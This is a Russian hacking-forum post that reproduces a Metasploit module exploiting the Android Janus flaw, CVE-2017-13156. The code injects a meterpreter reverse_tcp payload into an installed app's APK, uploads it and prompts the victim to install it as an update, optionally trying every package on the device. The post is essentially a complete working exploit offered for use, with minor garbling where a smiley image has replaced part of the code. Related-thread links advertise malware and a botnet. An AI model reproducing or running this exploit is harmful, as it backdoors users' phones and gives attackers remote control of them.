Интересно Android Janus - APK Signature Bypass (****sploit) THROOT

GhosTM@n

Премиум
##
# This module requires ****sploit: https://****sploit.com/download
# Current source: https://github.com/rapid7/****sploit-framework
##
require 'msf/core/payload/apk'

class ****sploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Exploit::FileDropper
include Msf::post::File
include Msf::post::Android::priv
include Msf::payload::Android

def initialize(info={})
super( update_info( info, {
'Name' => "Android Janus APK Signature bypass",
'Description' => %q{
This module exploits CVE-2017-13156 in Android to install a payload into another
application. The payload APK will have the same signature and can be installed
as an update, preserving the existing data.
The vulnerability was fixed in the 5th December 2017 security patch, and was
additionally fixed by the APK Signature scheme v2, so only APKs signed with
the v1 scheme are vulnerable.
Payload handler is disabled, and a multi/handler must be started first.
},
'Author' => [
'GuardSquare', # discovery
'V-E-O', # proof of concept
'timwr', # ****sploit module
'h00die', # ****sploit module
],
'References' => [
[ 'CVE', '2017-13156' ],
[ 'URL', 'https://www.guardsquare.com/en/blog...odify-apps-without-affecting-their-signatures' ],
[ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ],
],
'DisclosureDate' => 'Jul 31 2017',
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ 'android' ],
'Arch' => [ ARCH_DALVIK ],
'Targets' => [ [ 'Automatic', {} ] ],
'DefaultOptions' => {
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission
'DisablePayloadHandler' => true,
},
'DefaultTarget' => 0,
'Notes' => {
'SideEffects' => ['ARTIFACTS_ON_DISK', 'SCREEN_EFFECTS'],
'Stability' => ['SERVICE_RESOURCE_LOSS'], # ZTE youtube app won't start anymore
}
}))
register_options([
OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),
])
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
]
end

def check
os = cmd_exec("getprop ro.build.version.release")
unless Gem::Version.new(os).between?(Gem::Version.new('5. 1.1'), Gem::Version.new('8.0.0'))
vprint_error "Android version #{os} is not vulnerable."
return CheckCode::Safe
end
vprint_good "Android version #{os} appears to be vulnerable."

patch = cmd_exec('getprop ro.build.version.security_patch')
if patch.empty?
print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.'
elsif patch > '2017-12-05'
vprint_error "Android security patch level #{patch} is patched."
return CheckCode::Safe
else
vprint_good "Android security patch level #{patch} is vulnerable"
end

CheckCode::Appears
end

def exploit

def infect(apkfile)
unless apkfile.start_with?("package:")
fail_with Failure::BadConfig, 'Unable to locate app apk'
end
apkfile = apkfile[8..-1]
print_status "Downloading APK: #{apkfile}"
apk_data = read_file(apkfile)

begin
# Create an apk with the payload injected
apk_backdoor = ::Msf::payload::Apk.new
apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)

# Extract the classes.dex
dex_data = ''
Zip::File.open_buffer(apk_zip) do |zipfile|
dex_data = zipfile.read("classes.dex")
end
dex_size = dex_data.length

# Fix the original APKs zip file code directory
cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")
cd_start_addr = apk_data[cd_end_addr+16, cd_end_addr+20].unpack("V")[0]
apk_data[cd_end_addr+16...cd_end_addr+20] = [ cd_start_addr+dex_size ].pack("V")
pos = cd_start_addr
while pos && pos < cd_end_addr
offset = apk_data[pos+42, pos+46].unpack("V")[0]
apk_data[pos+42...pos+46] = [ offset+dex_size ].pack("V")
pos = apk_data.index("\x50\x4b\x01\x02", pos+46)
end

# Prepend the new classes.dex to the apk
out_data = dex_data + apk_data
out_data[32...36] = [ out_data.length ].pack("V")
out_data = fix_dex_header(out_data)

out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk"
print_status "Uploading APK: #{out_apk}"
write_file(out_apk, out_data)
register_file_for_cleanup(out_apk)
print_status "APK uploaded"

# Prompt the user to update the APK
session.appapi.app_install(out_apk)
print_status "User should now have a prompt to install an updated version of the app"
true
rescue => e
print_error e.to_s
false
end
end

unless [CheckCode:
biggrin.gif
etected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if datastore["PACKAGE"] == 'ALL'
vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')
apkfiles = []
all = cmd_exec("pm list packages").split("\n")
c = 1
all.each do |package|
package = package.split(':')[1]
vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")
c += 1
next if ['com.****sploit.stage', # a**** injecting into ourself
].include? package # This was left on purpose to be expanded as need be for testing
result = infect(cmd_exec("pm path #{package}"))
break if result
end
else
infect(cmd_exec("pm path #{datastore["PACKAGE"]}"))
end
end
end
 
Похожие темы
Admin Интересно Пользователи Android могут получить выплату от Google в размере $135 млн. Новости в сети 0
Admin Интересно Grandoreiro и BTMOB атакуют пользователей Windows и Android в Латинской Америке и Европе. Новости в сети 0
Admin Интересно BTMOB: скрытый троян для Android, способный захватить устройство. Новости в сети 0
Admin Интересно В Android-сборке Telegram обнаружен шпионский троян. Новости в сети 0
Admin Интересно Пока вы спите, ваш Android ударно трудится на рекламных фермах. Новости в сети 0
Admin Интересно Google представила Gemini Intelligence — Android научится сам выполнять задачи. Новости в сети 0
Admin Интересно Google представила функцию записи атак на Android для журналистов и активистов. Новости в сети 0
Admin Интересно Apple добавила шифрование переписки между iPhone и Android. Новости в сети 0
Admin Интересно Android 17 научится автоматически блокировать мошеннические звонки. Новости в сети 0
Admin Интересно Google представила функцию записи вторжений для анализа сложных атак на Android. Новости в сети 0
Admin Интересно Новая версия трояна TrickMo использует сеть TON для создания сетевых узлов на Android. Новости в сети 0
Admin Интересно Миллионы пользователей Android обмануты приложениями с поддельными журналами вызовов. Новости в сети 0
Admin Интересно Google срочно закрывает критическую уязвимость в Android. Новости в сети 0
Admin Интересно Мошенники используют NFC на Android для хищения денег через банкоматы. Новости в сети 0
Admin Интересно Мошеннические приложения CallPhantom обманывают пользователей Android. Новости в сети 0
Admin Интересно Google внедряет систему публичной проверки приложений Android для защиты от атак на цепочку поставок. Новости в сети 0
Admin Интересно Ваша телефонная книга останется при вас. Разбираемся в новых настройках приватности Android. Новости в сети 0
Admin Интересно Google заблокировал 8,3 млрд рекламных объявлений в 2025 году и представил обновления для Android 17. Новости в сети 0
Admin Интересно Уязвимость в графическом процессоре Android позволяет получить полный контроль над устройством. Новости в сети 0
Admin Интересно Мошенники используют функции Android для получения полного контроля над устройствами. Новости в сети 0
Admin Интересно В Google Play обнаружены десятки вредоносных приложений для Android. Новости в сети 0
Admin Интересно Google требует от разработчиков Android подтверждения личности для сохранения возможности сторонней загрузки. Новости в сети 0
Admin Интересно Google начинает проверку разработчиков Android перед введением обязательной верификации. Новости в сети 0
Admin Интересно Новый вирус Mirax Bot угрожает владельцам Android. Новости в сети 0
Admin Интересно Telegram на Android получил новый неофициальный клиент Monogram. Новости в сети 0
Admin Интересно Android-вредонос ClayRat: история быстрого взлёта и падения. Новости в сети 0
Admin Интересно Google вводит 24-часовое ожидание для установки непроверенных приложений на Android. Новости в сети 0
Admin Интересно Новый троян Perseus крадет данные из заметок на Android. Новости в сети 0
Admin Интересно Новый Android-вирус Perseus крадет данные из приложений для заметок. Новости в сети 0
Admin Интересно Google объявляет о крупных изменениях в экосистеме Android и магазине Google Play. Новости в сети 0
Admin Статья Android Malware - Seed Phrase Stealer / OCR / - Source Code Вирусология 0
Support81 Каждый Android под полным контролем. Новости в сети 0
Support81 Android-троян мутировал. Новости в сети 0
Support81 Телефон против владельца: как Android помогает хакерам воровать криптовалюту Новости в сети 0
Support81 Android пропускает атаку в фоне, пока ты читаешь эту новость Новости в сети 0
Support81 PIN-код для свободы: новый Android-шпион категорически против своего удаления Новости в сети 0
Support81 Фото, крипта, пароли: троян SparkCat крадёт личные данные с Android и iOS Новости в сети 0
Support81 Android.Vo1d: хакеры проникают в дома через ТВ-приставки Новости в сети 0
Multi-VPN Интересно aTox и TRIfA мессенджеры твоей мечты для Android Полезные статьи 0
Multi-VPN aTox и TRIfA мессенджеры твоей мечты для Android Анонимность и приватность 0
Support81 Snowblind: хакеры злоупотребляют «слепым пятном» в защитной системе Android Новости в сети 0
E SAPHIRA - ANDROID BOTNET Готовый софт 0
Support81 Новый троян Brokewell превращает Android-смартфон в инструмент слежки Новости в сети 0
Support81 VPN – ловушка для Android: как приложения превращают смартфоны в зомби Новости в сети 0
Support81 PixPirate: невидимый мародёр Android-устройств в Бразилии Новости в сети 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Support81 Кто стоит за Agent Racoon? Тайный хакер, который атакует Android и угрожает мировой безопасности Новости в сети 0
Support81 Вирус с Уолл-Стрит: приложения для займов тайно крадут данные 12 млн. пользователей Android Новости в сети 0
Support81 Android-троян SpyNote записывает аудио и телефонные звонки Новости в сети 0
Support81 Тысячи Android-устройств поставляются с предустановленным неубиваемым бэкдором Новости в сети 0

Название темы